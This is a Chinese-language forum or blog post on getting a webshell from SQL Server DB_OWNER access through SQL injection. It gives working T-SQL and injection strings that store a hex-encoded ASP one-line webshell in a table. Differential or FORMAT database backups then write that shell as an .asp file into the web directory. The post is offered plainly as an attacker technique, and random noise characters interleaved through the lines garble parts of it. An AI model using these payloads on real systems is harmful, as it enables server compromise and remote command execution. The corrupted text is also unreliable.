DB_OWNER权限得到webshell的改进办法

admin

DB_OWNER权限得到webshell的两点改进:

减少备份文件大小，得到可执行的webshell成功率提高不少
一利用差异备份
+ [8 ^' w  `; e0 I& M! C2 y, [加一个参数WITH DIFFERENTIAL

" M5 I5 d) K) u7 _6 _0 v+ n1
2
' {* J3 f' U, c$ Q/ [7 \4 b3
$ ^: q8 V' k4 i  d/ l0 ?4
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
0 }1 K) N( @! y, m: Ncreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
1 a6 z, u8 ]" rdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

二利用完全FORMAT
$ _$ r! l7 D- u( d& k3 k加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

) ~6 K! ^& _- A) j1
2
3
) ]: g# p* Y, b) X2 D$ C4
9 {5 y/ \3 h: D# O* N declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
5 {) d4 g% W: ?% t: n! Y  Vcreate table [dbo].[xiaolu] ([cmd] [image]);
* Z0 D3 l, Y2 M7 ]insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
* J" c) S/ F. r! a( Gdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
6 o; Y+ y1 K4 J# w8 Q7 L# z. r
总的来说就是那么简单几句,下面以备份数据库model为例子
1 w& o, p  Z0 g) l1
3 ~* G  E2 P5 y; i# i+ n
) t: a4 m+ K/ I* J% u1
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')

. V6 ^, I& u" d" I2

9 }9 g  C# H: v- l1
id=1;backup database model to disk='你的路径‘ with differential,format;--